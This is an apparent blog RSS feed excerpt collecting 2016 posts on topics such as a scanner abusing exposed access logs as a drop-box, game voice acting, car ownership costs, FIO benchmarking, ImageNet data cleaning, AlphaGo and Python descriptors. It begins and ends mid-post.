&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTFkrKJspVN_SzpZYx8w8tdPXxFJqbcq5h9gSo7vdlEeC0OjYi5IrjLGPwbiyqZf7pr4Lg_39DHGXQVWxoDdLeWE35n6o_2nPS41AFHRfGqtqZHLL2z7dL85d6WjdqWKZemMlcjYdUupE/s1600/Screenshot+2016-04-30+13.49.41.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="515" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTFkrKJspVN_SzpZYx8w8tdPXxFJqbcq5h9gSo7vdlEeC0OjYi5IrjLGPwbiyqZf7pr4Lg_39DHGXQVWxoDdLeWE35n6o_2nPS41AFHRfGqtqZHLL2z7dL85d6WjdqWKZemMlcjYdUupE/s640/Screenshot+2016-04-30+13.49.41.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="s1"&gt;&lt;span style="font-family: inherit;"&gt;Looking at the contents of one access log, quite a few IP addresses have downloaded the logfiles themselves, so I didn't dig further.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="s1"&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="s1"&gt;&lt;span style="font-family: inherit;"&gt;It's pretty clear, though, what happened: &amp;nbsp;These logfiles are easily found via a bit of "Google-scanning":&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlg7t21TWBphAHmHCUrTujX6Y6PyRrJX04bUzlIzKZk3yHBziP-1An0B30u2aYFoeSudPqpMEzY1z0xciNSCCvZjCbC4GQz2JuZWQrbSR92o13plgJJtPLheBmqJ-cbUwahW1J1eUQKfA/s1600/Screenshot+2016-04-30+13.52.52.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="143" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlg7t21TWBphAHmHCUrTujX6Y6PyRrJX04bUzlIzKZk3yHBziP-1An0B30u2aYFoeSudPqpMEzY1z0xciNSCCvZjCbC4GQz2JuZWQrbSR92o13plgJJtPLheBmqJ-cbUwahW1J1eUQKfA/s320/Screenshot+2016-04-30+13.52.52.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: inherit;"&gt;Having located an accessible drop-box to collect the results, someone recruited a set of nodes to scan lots of websites with a custom user-agent. &amp;nbsp;By using the drop-box, these nodes never need to contact the controller / response collector: &amp;nbsp;they're completely fire-and-forget, and thus, could be distributed as malware or in a host of other ways. &amp;nbsp;At some point, the controller wants to get the entries. &amp;nbsp;He/she then can just download the raw access files using Tor, finding all sorts of juicy entries like:&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;








&lt;br /&gt;
&lt;div class="p1"&gt;
&lt;span class="s1"&gt;&lt;span&gt;XXX.XXX.XXX.XXX [30/Apr/2016:09:25:12 -0700] "GET /IPTRANSITTEST HTTP/1.1" 404 73 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2" "closettransfer.com"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="p1"&gt;
Clever.&lt;/div&gt;
&lt;/div&gt;</description><author>Dave's Data</author><pubDate>Sun, 01 May 2016 00:21:54 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/04/indirect-shellshock-security-scanning.html</guid></item><item><title>The Poor Man's Voice Acting</title><link>https://etodd.io/2016/04/30/poor-mans-voice-acting/</link><description>&lt;p&gt;
Allow me to regale you with an exciting tale: the birth of a janky dialogue and voice system.
&lt;/p&gt;
&lt;p&gt;
I have a JSON file with all the localized strings in my game, like this:
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-json"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #f92672;"&gt;"danger"&lt;/span&gt;: &lt;span style="color: #e6db74;"&gt;"Danger"&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #f92672;"&gt;"level"&lt;/span&gt;: &lt;span style="color: #e6db74;"&gt;"Level %d"&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #960050; background-color: #1e0010;"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;
A preprocessor takes this and generates a header file with integer constants for each string, like this:
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;namespace&lt;/span&gt; strings
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;const&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;int&lt;/span&gt; danger &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;const&lt;/span&gt; &lt;span style="color: #66d9ef;"&gt;int&lt;/span&gt; level &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #75715e;"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;
At runtime, it loads the JSON file and hooks up the integer IDs to localized strings. A function called "_" takes an integer ID and returns the corresponding localized string. I use it like this:
&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 30 Apr 2016 16:00:00 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2016/04/30/poor-mans-voice-acting/</guid></item><item><title>Before Sunset</title><link>https://olshansky.info/movie/before_sunset/</link><description>Olshansky's review of Before Sunset</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 30 Apr 2016 07:16:12 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/before_sunset/</guid></item><item><title>Swingline</title><link>https://mattkeeter.com/projects/swingline</link><description>Weighted Voronoi stippling on the GPU</description><author>Matt Keeter</author><pubDate>Sat, 30 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/swingline</guid></item><item><title>Before Sunrise</title><link>https://olshansky.info/movie/before_sunrise/</link><description>Olshansky's review of Before Sunrise</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 29 Apr 2016 21:42:57 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/before_sunrise/</guid></item><item><title>Why my car cost more than taking Uber everywhere</title><link>https://da-data.blogspot.com/2015/06/why-my-car-cost-more-than-taking-uber.html</link><description>This afternoon, I sold my car. &amp;nbsp;It was a great car - a 2002 Subaru WRX with 36,700 miles. &amp;nbsp;It did 0-60 in 5.9 seconds (and I'd tested it out enough times to appreciate that). &amp;nbsp;Super fun. &amp;nbsp;Carried groceries and anything I needed. &amp;nbsp;Good for city. &amp;nbsp;Good for climbing and camping trips. &amp;nbsp;Worked well. &amp;nbsp;Nothing wrong with it.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Good riddance.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRb3SdkwXpoJ987dqCkoqExFdeIR_GTARk1KOLsXvvbdBokf-cDhQ5FydepPn1zoLV30gz0F8BXAishRno6F-aElXObZzR9ff8ti89fFWlCPFKfTEjDd5C0wyOLkuipOl-YMK991GOdtw/s1600/IMG_0054.JPG" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRb3SdkwXpoJ987dqCkoqExFdeIR_GTARk1KOLsXvvbdBokf-cDhQ5FydepPn1zoLV30gz0F8BXAishRno6F-aElXObZzR9ff8ti89fFWlCPFKfTEjDd5C0wyOLkuipOl-YMK991GOdtw/s200/IMG_0054.JPG" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I'm an abnormal car owner, for sure, but one of the points I raise below (better uses of the capital expense of the car) applies pretty broadly. &amp;nbsp;Over the life of the car, I paid more than $4 per mile traveled. &amp;nbsp; Even if &lt;i&gt;all&lt;/i&gt;&amp;nbsp;of my travel was one-mile trips, Uber ($2 base fee&amp;nbsp;+ $1.25 per mile in Pittsburgh) would have been far cheaper. &amp;nbsp;You can substitute Lyft or Yellow Cab for Uber in that equation, of course, assuming you could actually get a cab in Pittsburgh to pick you up when you needed.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I paid about $18,400 for it in 2005. &amp;nbsp;I drove about 9200 miles. &amp;nbsp;It takes premium gas. &amp;nbsp;I created a little spreadsheet to let others do the same computation for themselves (or argue with me about it. &amp;nbsp;grin.)&lt;/div&gt;


&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="https://docs.google.com/spreadsheets/d/18Gx3aJPbBvwW9GFdCE_ZNl8VFGw0CGdKwSLYTQGzhO8/edit?usp=sharing"&gt;Here's the original spreadsheet on Google Docs&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In the end, my car cost more than $4.20 per mile that I drove it -- and over $38,718 over ten years, and that was with getting back more than 50% of its purchase price when I sold it and spending only $1100 on gas. &amp;nbsp;I'm probably undercounting still - I'm not factoring in things like parking, but feel free to copy the spreadsheet and do the calculations for yourself!&lt;br /&gt;
&lt;br /&gt;
Note that the dollars are effectively inflation-adjusted: &amp;nbsp;I put in 2005 dollars, and at the end, everything's reckoned in 2015 dollars. &amp;nbsp;The 7% yearly growth is a slightly conservative assumption based upon the performance of &lt;a href="https://personal.vanguard.com/us/funds/snapshot?FundId=0040&amp;amp;FundIntExt=INT"&gt;VFINX&lt;/a&gt; over the same period, including taking into account the expense ratio (but not taxes on any realized gains or distributions); &amp;nbsp;VFINX's 10-year trailing return is about 7.8% average annual.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I hope I never own a car again. &amp;nbsp;For now, my wife's &amp;nbsp;car is more than enough for both of us (clearly!). &amp;nbsp;What an unfortunate waste of resources. &amp;nbsp;No, taking public transit, uber, or cabs (or biking -- I do, after all, own a lovely bike that I love) wouldn't have been free, but it would have been better for my wallet, the environment, and likely my health. &amp;nbsp;Car, you were an engineering delight, a ton of fun to drive, and you held your value surprisingly well. &amp;nbsp;I'm glad you're gone, and you're not welcome back.&lt;/div&gt;</description><author>Dave's Data</author><pubDate>Fri, 29 Apr 2016 07:42:42 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2015/06/why-my-car-cost-more-than-taking-uber.html</guid></item><item><title>Benchmarking IO with FIO</title><link>https://smcleod.net/2016/04/benchmarking-io-with-fio/</link><description>&lt;h2 id="this-is-a-quick-tldr-there-are-many-other-situations-and-options-you-could-consider"&gt;This is a quick tldr there are &lt;em&gt;many&lt;/em&gt; other situations and options you could consider&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://linux.die.net/man/1/fio"&gt;FIO man page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IOP/s = Input or Output operations per second&lt;/li&gt;
&lt;li&gt;Throughput = How many MB/s can you read/write continuously&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="variables-worth-tuning-based-on-your-situation"&gt;Variables worth tuning based on your situation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--iodepth&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The iodepth is very dependant on your hardware.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rotational drives without much cache and high latency (i.e. desktop SATA drives) will not benefit from a large iodepth, Values between 16 to 64 could be sensible.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Fri, 29 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/04/benchmarking-io-with-fio/</guid></item><item><title>Canoe by Keith Douglas</title><link>https://ho.dges.online/words/commonplace/canoe-by-keith-douglas/</link><description>&lt;p&gt;Well, I am thinking this may be my last&lt;br /&gt;
summer, but cannot lose even a part&lt;br /&gt;
of pleasure in the old-fashioned art&lt;br /&gt;
of idleness. I cannot stand aghast&lt;/p&gt;
&lt;p&gt;at whatever doom hovers in the background:&lt;br /&gt;
while grass and buildings and the somnolent river,&lt;br /&gt;
who know they are allowed to last forever,&lt;br /&gt;
exchange between them the whole subdued sound&lt;/p&gt;
&lt;p&gt;of this hot time. What sudden fearful fate&lt;br /&gt;
can deter my shade wandering next year&lt;br /&gt;
from a return? Whistle and I will hear&lt;br /&gt;
and come again another evening, when this boat&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Fri, 29 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/canoe-by-keith-douglas/</guid></item><item><title>Game of Thrones: Season 6</title><link>https://olshansky.info/tv/game_of_thrones_season_6/</link><description>Olshansky's review of Game of Thrones: Season 6</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 28 Apr 2016 19:41:21 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/game_of_thrones_season_6/</guid></item><item><title>Bouncy Balls</title><link>http://www.nuke24.net/plog/9.html</link><author>TOGoS's Project Log</author><pubDate>Wed, 27 Apr 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/9.html</guid></item><item><title>Cleaning the Imagenet Dataset, collected notes</title><link>https://da-data.blogspot.com/2016/02/cleaning-imagenet-dataset-collected.html</link><description>As part of my sabbatical at Google, I spent the last month working on processing images from the&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEa07goGchdBc_PBa-akFIy9L1yCGrXcy-3FIDHCtUhfetNWIecx8xnnzdTo1KFmy4H_NR5dujC8NYVFReJC36rZA-L-qUqMHkbV0wECyHRR541vHW9pYxEvYsZ7VsUMlMTnH8c1uP9Zo/s1600/individualImage.png" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEa07goGchdBc_PBa-akFIy9L1yCGrXcy-3FIDHCtUhfetNWIecx8xnnzdTo1KFmy4H_NR5dujC8NYVFReJC36rZA-L-qUqMHkbV0wECyHRR541vHW9pYxEvYsZ7VsUMlMTnH8c1uP9Zo/s200/individualImage.png" width="185" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;a href="http://image-net.org/challenges/LSVRC/2014/index"&gt;Imagenet Large Scale Visual Recognition Challenge (ILSVRC 2012) dataset&lt;/a&gt;&amp;nbsp;using&amp;nbsp;&lt;a href="https://www.tensorflow.org/"&gt;Tensorflow&lt;/a&gt;. &amp;nbsp;(Note that I've linked to the '14 dataset because it contains the image blacklist I discuss below, but the it has the same classification images as the '12 dataset).&lt;br /&gt;
&lt;br /&gt;
As is well-known enough that there's an &lt;a href="https://www.reddit.com/r/datacleaning"&gt;entire subreddit dedicated to it&lt;/a&gt;, cleaning data before feeding it into a machine learning system is both time-consuming and somewhat annoying. &amp;nbsp;Despite being a curated "challenge" dataset, it turns out that ILSVRC'12 needs cleaning as well. &amp;nbsp;Much of this is known already among people who use the dataset, but with the recent explosion in popularity of machine and deep learning, I figured I'd put my collected notes here to save others the time.&lt;br /&gt;
&lt;br /&gt;
Without further ado, the ILSVRC 2014 Data Gotchas:&lt;br /&gt;
&lt;h3&gt;
Images in the wrong format:&lt;/h3&gt;
(1) &amp;nbsp;Unlike each of its ~million peers, Image&amp;nbsp;&lt;span&gt;n02105855_2933.JPEG is not a JPEG.&lt;/span&gt;&amp;nbsp; It's a PNG. &amp;nbsp;Oh, it's named '.JPEG', but it's not. &amp;nbsp;If you feed it to&amp;nbsp;&lt;span&gt;&lt;a href="https://www.tensorflow.org/versions/0.6.0/api_docs/python/image.html#decode_jpeg"&gt;tf.image.decode_jpeg&lt;/a&gt;,&lt;/span&gt; you'll end up with an exception. &amp;nbsp;In other contexts, you may end up with workers silently dying.&lt;br /&gt;
&lt;br /&gt;
(2) &amp;nbsp;&lt;a href="https://github.com/cytsai/ilsvrc-cmyk-image-list"&gt;22 of the images are CMYK JPEGs&lt;/a&gt;, for which there's no real standard. &amp;nbsp;Many decoders, Tensorflow and Matlab included, don't like these.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Solution&lt;/b&gt;: &amp;nbsp;Convert these before doing anything else.&lt;br /&gt;
&lt;br /&gt;
If converting to a record of tf.Example's, the most robust approach is to use an image processing library to check the type of the images as you load them. &amp;nbsp;An easy hack with imagenet is to click the above link to a github repository that lists the bad ones, and munge them using the ImageMagick convert utility.&lt;br /&gt;
&lt;h3&gt;
Two sets of bounding boxes:&lt;/h3&gt;
&lt;div&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf-1L-dRkmzvVsWUPBevyJ9MhkgpyUEkGaruDzTeU_pgNiBMzCghBHTjrY7K6Z8P0PvzGp7kqdeoC2lJU1Ek9DOg9X4pTiiix1tlWIwktr34BK0Wg_FOYvAMK8eBzfM7kjxj2AIcsEGbI/s1600/individualImage-1.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf-1L-dRkmzvVsWUPBevyJ9MhkgpyUEkGaruDzTeU_pgNiBMzCghBHTjrY7K6Z8P0PvzGp7kqdeoC2lJU1Ek9DOg9X4pTiiix1tlWIwktr34BK0Wg_FOYvAMK8eBzfM7kjxj2AIcsEGbI/s200/individualImage-1.png" width="200" /&gt;&lt;/a&gt;If you download the bounding boxes from &lt;a href="http://image-net.org/download-bboxes"&gt;the easy-to-nagivate-to download bounding boxes page&lt;/a&gt;, you will get one set. &amp;nbsp;But there is a more comprehensive set of bounding boxes available from a much harder-to-find bboxes page once you've registered. &amp;nbsp;(It is not public, so I'm not linking it here. &amp;nbsp;Go register, and you can dig it up on the signed-up page.)&amp;nbsp; The latter is the one used by, e.g., &lt;a href="http://www.cs.unc.edu/~wliu/papers/GoogLeNet.pdf"&gt;Google's 2014 winning entry, Inception&lt;/a&gt;. &amp;nbsp;Don't miss out on those extra bboxes if you're using the info.&lt;/div&gt;
&lt;h3&gt;
Invalid bounding boxes:&lt;/h3&gt;
&lt;div&gt;
Once you have all of the bounding boxes, life still isn't optimal: &amp;nbsp;Some of the bounding boxes are defined to occur completely outside (or partially outside) of the image they describe!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I chose to clean these up in pre-preocessing rather than complicate my model with a bunch of corner case conditionals.&lt;/div&gt;
&lt;h3&gt;
Blacklisted or non-blacklisted validation set:&lt;/h3&gt;
&lt;div&gt;
Be sure you're comparing apples-to-apples. &amp;nbsp;The validation set consists of 50,000 images. &amp;nbsp; In the 2014 devkit, there is a list of 1762 "blacklisted" files for which the bboxes (or perhaps the labels) are too ambiguous or wrong. &amp;nbsp;&lt;i&gt;Make sure you're comparing the same thing&lt;/i&gt;. &amp;nbsp;For a while, I was accidentaly comparing results using the full 50,000 against the published numbers from papers that omit the blacklisted images. &amp;nbsp;It made something like a 0.3% overall difference in top-1 accuracy (ouch).&lt;br /&gt;
&lt;br /&gt;
Note that this blacklist is new, and should most likely be applied only for an &lt;b&gt;object detection&lt;/b&gt;&amp;nbsp;task, not an &lt;b&gt;image classification&lt;/b&gt;&amp;nbsp;task, even though the file is named in a way that makes it seem like it might apply for both. &amp;nbsp;If you're doing whole-image classification, use the 50,000 -- but check to make sure that the things you're comparing against also did so!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Hope this saves someone a bit of hassle, and happy learning!&amp;nbsp;&lt;/div&gt;</description><author>Dave's Data</author><pubDate>Wed, 27 Apr 2016 20:51:43 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/02/cleaning-imagenet-dataset-collected.html</guid></item><item><title>AlphaGo is a triumph for humanity</title><link>https://da-data.blogspot.com/2016/03/alphago-is-triumph-for-humanity.html</link><description>... and not something to be afraid of.&lt;br /&gt;
&lt;br /&gt;
As anyone who hasn't been hiding under a rock knows, &lt;a href="https://deepmind.com/alpha-go.html"&gt;Google Deepmind's AlphaGo&lt;/a&gt; program &lt;a href="https://gogameguru.com/alphago-shows-true-strength-3rd-victory-lee-sedol/"&gt;decisively won its third game in a row&lt;/a&gt;&amp;nbsp;against grandmaster Lee Sedol.&lt;br /&gt;
&lt;br /&gt;
First of all, I argue that &lt;a href="https://plus.google.com/+DavidAndersen1/posts/YABxN1Akc9L"&gt;we shouldn't find this surprising&lt;/a&gt;: &amp;nbsp;We're still riding the exponential wave of the growth of computing power in hardware, and when that's coupled in significant software advances such as deep neural networks, we get great things. &amp;nbsp;Go, despite its massive positional complexity, is still the kind of thing that computers excel at: &amp;nbsp;It has a precisely defined objective and rules, it admits a fairly compact representation, and exists entirely within the world of bits.&lt;br /&gt;
&lt;br /&gt;
Second, I argue that this is an excellent excuse for all of humanity to pat itself on the back. &amp;nbsp;Consider what went in to the AlphaGo victory:&lt;br /&gt;
&lt;br /&gt;
The Nature paper version of AlphaGo is &lt;a href="http://www.businessinsider.com/heres-how-much-computing-power-google-deepmind-needed-to-beat-lee-sedol-2016-3?r=UK&amp;amp;IR=T"&gt;noted to have used 1206 CPUs and 176 GPUs&lt;/a&gt;. &amp;nbsp;The details are vague, but for our purposes don't matter. &amp;nbsp;Let's start with a few possibly-unfounded assumptions to get the ball rolling: &amp;nbsp;&lt;a href="https://github.com/deepmind"&gt;Deepmind's Github&lt;/a&gt; has a lot of torch-related utilities, so let's assume they use Nvidia with the CuDNN bindings in the same way that everyone else does. &amp;nbsp;The CPUs are probably Intel's, because Intel. &amp;nbsp;As part of Alphabet, Deepmind gets to take advantage of Google's astounding compute infrastructure. &amp;nbsp;And remember: &amp;nbsp;That was just the hardware used to play the game. &amp;nbsp;In my experience, the resources used during development, experimentation, and training probably dwarf the runtime needs for a single game.&lt;br /&gt;
&lt;br /&gt;
So, putting that together, we have &lt;a href="http://www.businessinsider.com/google-has-57000-employees-2015-7"&gt;Google's 57,000+ employees&lt;/a&gt;. &amp;nbsp;In case it slipped your mind, that's roughly &lt;a href="http://www.cnbc.com/2016/02/01/google-passes-apple-as-most-valuable-company.html"&gt;the most valuable company in the world&lt;/a&gt; pitting a large amount of resources (Wikipedia says &lt;a href="https://en.wikipedia.org/wiki/Google_DeepMind"&gt;the Deepmind acquisition was north of $400m&lt;/a&gt;) against a single Go player. &amp;nbsp;Google has spent&amp;nbsp;&lt;a href="http://www.datacenterknowledge.com/archives/2013/09/17/google-has-spent-21-billion-on-data-centers/"&gt;tens of billions of dollars&lt;/a&gt;&amp;nbsp;on its compute infrastructure. &amp;nbsp;That computation is running on CPUs made by &lt;a href="http://www.statista.com/statistics/263567/employees-at-intel-since-2004/"&gt;the hundred thousand employees&lt;/a&gt; of the most advanced semiconductor manufacturer in the world, and on GPUs made by the nine thousand employees of $17B market cap GPU behemoth NVidia. &amp;nbsp;Nvidia's numbers are smaller because, unlike Intel, they don't manufacture their own chips -- &lt;a href="http://wccftech.com/nvidia-tsmc-official-partner-16nm-finfet-10nm/"&gt;they use Taiwanese giant TSMC's fabs&lt;/a&gt;, adding in another &lt;a href="https://en.wikipedia.org/wiki/TSMC"&gt;$20b of yearly revenue and 37,000 employees&lt;/a&gt;.&amp;nbsp;&amp;nbsp;And, of course, they all have to stuff memory in those computers and GPUs, so let's pull in Korea's Samsung ($305B revenue and nearly half a million employees, though certainly not all work on computer-related things!) and Hynix (another 17k employees). &amp;nbsp;And a vast array of electronics component and motherboard manufacturers, in Taiwan, mainland China, and elsewhere.&lt;br /&gt;
&lt;br /&gt;
And we're only scratching the surface - those manufacturers by some of the most technologically complex lithographic and manufacturing equipment &lt;a href="https://books.google.com/books?id=g_IgBQAAQBAJ&amp;amp;pg=PA166&amp;amp;lpg=PA166&amp;amp;dq=siemens+lithography&amp;amp;source=bl&amp;amp;ots=HOp6bgKvgA&amp;amp;sig=dnZ41WNZvjvK-QzVUOpjzDmOFeM&amp;amp;hl=en&amp;amp;sa=X&amp;amp;ved=0ahUKEwi-2PK6v7zLAhUT9mMKHZ2nBYoQ6AEIJzAD#v=onepage&amp;amp;q=siemens%20lithography&amp;amp;f=false"&gt;from an array of vendors such as Germany's Siemens AG&lt;/a&gt;, and so on down the stack of turtles, down to advances in semiconductor physics, material science, chemistry, quantum mechanics -- you name it.&lt;br /&gt;
&lt;br /&gt;
And that's only the hardware! &amp;nbsp;It took the work of millions of people, in dozens of countries, directly and indirectly, just in the direct chain of manufacturing the hardware that managed this feat.&lt;br /&gt;
&lt;br /&gt;
It's quite a thing to be able to manufacture a computer that can beat a human in Go -- and &lt;i&gt;that&lt;/i&gt;&amp;nbsp;higher-level process of creativity, flexibility, research, discovery, invention, and cooperation -- is the thing that should really remind us that it's going to be a long time before we bemoan people taking second place to the machines.&lt;br /&gt;
&lt;br /&gt;
Go humans.</description><author>Dave's Data</author><pubDate>Wed, 27 Apr 2016 20:51:29 GMT</pubDate><guid isPermaLink="true">https://da-data.blogspot.com/2016/03/alphago-is-triumph-for-humanity.html</guid></item><item><title>Question Answering using Keras</title><link>https://ben.bolte.cc/posts/2016-04-27-language</link><description>An in-depth introduction to using Keras for language modeling; word embedding, recurrent and convolutional neural networks, attentional RNNs, and similarity metrics for vector embeddings.</description><author>Ben Bolte</author><pubDate>Wed, 27 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ben.bolte.cc/posts/2016-04-27-language</guid></item><item><title>Links - April 27th, 2016</title><link>https://faingezicht.com/links/2016/04/27/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 27 Apr 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/04/27/links/</guid></item><item><title>The Descriptor Protocol, and Python Black Magic</title><link>https://faingezicht.com/projects/2016/04/26/python-black-magic/</link><description>Late last night, I saw a very confusing tweet:

&gt; ```python
&gt; class A:
&gt;     def b(self):
&gt;         pass
&gt;
&gt; if A.b is A.b:
&gt;     print("Python 3")
&gt; else:
&gt;     print("Python 2")
&gt; ```
&gt;
&gt; — Jake VanderPlas (@jakevdp) &lt;a href="https://twitter.com/jakevdp/status/724827419132178433"&gt;April 26, 2016&lt;/a&gt;

Like any self-respecting programmer, the first thing I did was copy paste that into a terminal, even though I knew exactly what to expect. My response was simple:

&gt; &lt;a href="https://twitter.com/jakevdp"&gt;@jakevdp&lt;/a&gt; what is this black magic!?!?
&gt;
&gt; — Avy Faingezicht (@avyfain) &lt;a href="https://twitter.com/avyfain/status/724832373678952449"&gt;April 26, 2016&lt;/a&gt;

Since I graduated last summer, I have been writing lots of both Python 2 and 3. This snippet seemed like something I should understand well. However, I did not, so this post is an attempt to solve that. I was inspired by &lt;a href="http://jvns.ca"&gt;Julia Evans&lt;/a&gt;, and her campaign to share the things she learns, however incomplete her understanding might be.

This post assumes you have at least a basic understanding of Python and OOP. For a good overview of OOP in Python, I recommend Leonardo Giordani's &lt;a href="http://blog.thedigitalcatonline.com/blog/2014/08/20/python-3-oop-part-1-objects-and-types/"&gt;series&lt;/a&gt; which builds up nicely from simple concepts to the internals of Python classes (he also has one &lt;a href="http://blog.thedigitalcatonline.com/blog/2014/03/05/oop-concepts-in-python-2-dot-x-part-1/"&gt;on Python 2.x&lt;/a&gt;, although I haven't read it closely).

## So, what is this black magic?
My first instinct was to check the behavior of the comparison itself. While `==` delegates to an object's `__eq__` method to check **equality**, the `is` keyword checks **identity**, so those objects can't be the same in memory!

```python
# Python 2
&gt;&gt;&gt; A.b

&gt;&gt;&gt; hex(id(A.b))
'0x1006ebc80'
&gt;&gt;&gt; hex(id(A.b))
'0x1006beb90'

# Python 3
